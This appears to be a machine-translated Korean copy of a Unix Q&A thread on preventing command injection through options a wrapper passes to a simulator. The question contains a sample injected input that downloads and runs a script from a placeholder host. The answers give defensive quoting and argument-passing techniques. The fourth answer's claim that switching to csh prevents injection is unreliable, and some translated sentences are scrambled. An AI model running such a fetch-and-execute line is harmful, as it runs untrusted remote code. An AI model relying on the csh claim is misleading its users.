![명령 옵션을 통한 명령 주입을 방지하는 방법은 무엇입니까?](https://linux55.com/image/44931/%EB%AA%85%EB%A0%B9%20%EC%98%B5%EC%85%98%EC%9D%84%20%ED%86%B5%ED%95%9C%20%EB%AA%85%EB%A0%B9%20%EC%A3%BC%EC%9E%85%EC%9D%84%20%EB%B0%A9%EC%A7%80%ED%95%98%EB%8A%94%20%EB%B0%A9%EB%B2%95%EC%9D%80%20%EB%AC%B4%EC%97%87%EC%9E%85%EB%8B%88%EA%B9%8C%3F.png)
사용자가 에뮬레이터에 전달할 사용자 정의 옵션을 지정할 수 있도록 해야 하는 래퍼 애플리케이션이 있습니다. 그러나 사용자가 사용자 옵션을 통해 추가 명령을 주입하지 않도록 하고 싶습니다. 이를 달성하는 가장 좋은 방법은 무엇입니까?
예를 들어.
- 사용자 제공:
-a -b
- 애플리케이션 실행:
mysim --preset_opt -a -b
그러나 나는 이런 일이 일어나는 것을 원하지 않습니다:
- 사용자 제공:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- 애플리케이션 실행:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
'
현재는 각 사용자 제공 옵션을 작은따옴표로 묶고 사용자 제공 작은따옴표를 제거하면 마지막 예제의 명령이 무해할 수 있다고 생각합니다 .
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
참고: 이 mysim
명령은 docker/lxc 컨테이너에 있는 셸 스크립트의 일부로 실행됩니다. 저는 우분투를 실행하고 있습니다.
답변1
래퍼를 제어할 수 있는 경우 하위 쉘을 호출하지 않는지 확인하세요. 깊은 곳에서,프로그램 실행 지침실행 파일의 전체 경로(현재 디렉터리에 대한 절대 또는 상대 경로)와 인수로 전달된 문자열 목록을 포함합니다. 경로 조회, 공백으로 구분된 인수, 인용 및 제어 연산자는 모두 셸에서 제공됩니다. 껍질도 없고 통증도 없습니다.
예를 들어 Perl 래퍼의 경우 exec
또는 목록 형식을 사용합니다 system
. 많은 언어에서는 , 또는 무엇이든 사용하는 대신 exec
one execXXX
(또는 무엇이든)을 호출 하거나 기능합니다 .unix.exec
system
os.spawn
shell=False
래퍼가 쉘 스크립트인 경우 "$@"
인수를 전달하는 데 사용됩니다.
#!/bin/sh
mysim -preset-opt "$@"
선택의 여지가 없고 래퍼가 셸을 호출하는 경우 인수를 셸에 전달하기 전에 인수를 인용해야 합니다. 매개변수를 참조하는 쉬운 방법은 다음을 수행하는 것입니다.
- 각 인수에서
'
(작은따옴표)를 각각 4자리 문자열로 바꿉니다'\''
. (예를don't
들어 가 된다don'\''t
) '
각 매개변수의 시작 부분과 각 매개변수의 끝 부분에 추가합니다. (예:don't
에서don'\''t
까지'don'\''t'
)- 사이에 공백을 사용하여 결과를 연결합니다.
쉘 래퍼에서 이 작업을 수행해야 하는 경우 다음 방법을 사용할 수 있습니다.
arguments='-preset-opt'
for x; do
arguments="$arguments '"
while case $x in
*\'*) arguments="$arguments${x%%\'*}'\\''"; x=${x#*\'};;
*) false;; esac
do :; done
arguments="$arguments$x'"
done
(안타깝게도 bash ${VAR//PATTERN/REPLACEMENT}
구성은 여기에서 편리해야 하지만 이상한 인용이 필요하고 대체 텍스트로 얻을 수 없을 것 같습니다 '\''
.)
답변2
Bash의 관용구를 사용하여 먼저 ${VAR//PATTERN/REPLACEMENT}
작은따옴표를 변수 '
로 변환한 다음(중간 단계로) 해당 변수를 위의 Bash 관용구의 요소로 확장할 수 있습니다.'\''
'\''
REPLACEMENT
# example
{
str="don't"
escsquote="'\''"
str="'${str//\'/${escsquote}}'"
printf '%s\n' "$str" # 'don'\''t'
}
답변3
다음과 같이 매개변수를 구문 분석하는 getopts
데 사용할 수 있습니다 .bash
while getopts a:b: opts; do
case ${opts} in
a)
A=${OPTARG}
;;
b)
B=${OPTARG}
;;
esac
done
답변4
주사를 피하려면 [T]csh로 전환하는 것이 좋습니다. Bourne Shell과 달리 C Shell은 "제한적"이므로 사람들이 스크립트 작성에 있어 보다 안전한 다른 경로를 택하도록 지시합니다. C 셸에 부과된 "제한 사항"은 C 셸을 가장 신뢰할 수 있는 셸 중 하나로 만듭니다. (예: 중첩은 최소화되거나 심지어 불가능하므로 주입은 어떤 대가를 치르더라도 방지됩니다. 원하는 것을 달성하는 더 나은 방법이 있습니다.)